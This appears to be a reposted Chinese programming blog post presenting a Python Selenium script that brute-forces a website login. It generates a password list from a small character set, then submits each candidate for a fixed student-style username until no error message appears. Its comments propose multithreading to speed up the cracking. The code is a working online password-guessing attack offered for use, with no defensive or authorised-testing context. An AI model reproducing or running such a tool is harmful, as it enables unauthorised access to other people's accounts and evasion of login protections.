python每日一題:破解某登陸密碼


# -*- coding: UTF-8 -
# 破解密碼程序。通過循環輸入賬號密碼嘗試登錄網站,並記錄相關賬號密碼
# 目前問題:由於知識有限,第一次輸入密碼后,密碼輸入框中的數據無法清除。
# 導致輸入的密碼數據累積。破解時,每次需要重新打開網頁,比較費時
# 待優化:
# 1.嘗試調用js的方法,清除輸入的數據
# 2.查找資料,繼續查找清除已輸入的內容的方法
# 3.可以嘗試采用多線程進行嘗試登錄,縮短破解時間
from selenium import webdriver
import time


class url_login(object):

    def __init__(self, url, username, password):
        self.url = url
        self.username = username
        self.password = password

    def surf_web(self):
        for i in self.password:
            driver = webdriver.Chrome("D:\Program Files (x86)\python\chromedriver.exe")
            driver.get(self.url)
            time.sleep(1)
            user = driver.find_element_by_name('username')
            user.clear()
            user.send_keys(self.username)
            password1 = driver.find_element_by_name(r"password")
            password1.clear()#暫時無法清除上次輸入的內容,因此,每次都關閉driver,並循環打開,叫費時間,待優化
            password1.send_keys(i)
            button = driver.find_element_by_class_name(r"login-btn")
            button.click()
            print(button)
            time.sleep(1)
            try:
                errordata = driver.find_element_by_class_name('error-text')
                driver.close()
            except:
                print('ok,the right code is:', i)
                break


class code_txt(object):

    def __init__(self):
        self.char = ['a', 'b', 'c', 'A', 'B', 'C', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '.']

    def code_text(self, datalist0):
        datalist = []
        if len(datalist0):
            for i in datalist0:
                for k in self.char:
                    datalist.append(i + k)
        else:
            datalist = self.char
        return datalist

    def code_textnum(self, datalist, num):  # 生成一個num長度的密碼本,並保存本地文件
        while 1:
            if num:
                datalist = self.code_text(datalist)
                num -= 1
            else:
                f = open('code.txt', 'w')
                for i in datalist:
                    f.write(i)
                    f.write('\n')
                f.close()
                return datalist

    def code_textread(self, file):  # 生成一個num長度的密碼本,並保存本地文件
        data = []
        with open(file, 'r')as f:
            for i in f.readlines():
                data.append(i.replace('\n', ''))
            return data


if __name__ == "__main__":
    username = 'A190401158'
    url = "http://*******"
    codetext = code_txt()
    datalist = codetext.code_textread('code.txt')  # 讀取密碼本數據,形成列表
    login = url_login(url, username, datalist)
    login.surf_web()

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM